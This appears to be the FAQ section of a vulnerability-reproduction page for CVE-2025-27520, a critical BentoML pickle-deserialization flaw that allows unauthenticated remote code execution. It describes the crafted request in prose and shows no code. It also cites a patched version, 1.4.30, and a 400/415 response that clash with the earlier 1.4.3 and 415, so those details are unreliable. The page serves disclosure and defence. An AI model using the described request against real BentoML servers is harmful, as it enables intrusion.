Step-by-step mitigation and hardening guidance for CVE-2025-27520 — configuration checks, workarounds where no patch exists, and how to verify you're protected — is on the way.

10 · FAQ

FAQ: CVE-2025-27520

How does the CVE-2025-27520 deserialization attack work?

An unauthenticated attacker sends a request to a BentoML service endpoint (for example, /summarize) with Content-Type: application/vnd.bentoml+pickle and a metadata payload that omits "buffer-lengths". The server calls pickle.loads on the attacker-supplied bytes, executing arbitrary shell commands; Pruva's reproduction verified this by having the payload append markers to a proof file on the server.

Which BentoML versions are affected by CVE-2025-27520, and where is it fixed?

Versions >=1.3.4 and <1.4.3 are affected. It is fixed in 1.4.3, which rejects application/vnd.bentoml+pickle requests in the main server with a 415 response ("not allowed in main server").

How severe is CVE-2025-27520?

It is rated critical severity with a CVSS score of 9.8. It allows unauthenticated remote code execution against any BentoML service accepting the vulnerable content type.

How can I reproduce CVE-2025-27520?

Download the verified script from this page and run it in an isolated environment against BentoML 1.4.2. It sends a crafted application/vnd.bentoml+pickle request to a service endpoint and shows the resulting shell commands executing on the server (evidenced by proof-file markers), then confirms a patched build (1.4.30) rejects the same request with a 400/415 and executes nothing.
11 · References

References for CVE-2025-27520

Authoritative sources for CVE-2025-27520 — official vulnerability databases and the upstream advisory. Pruva's reproduction verifies the issue firsthand; these are the primary records to corroborate it.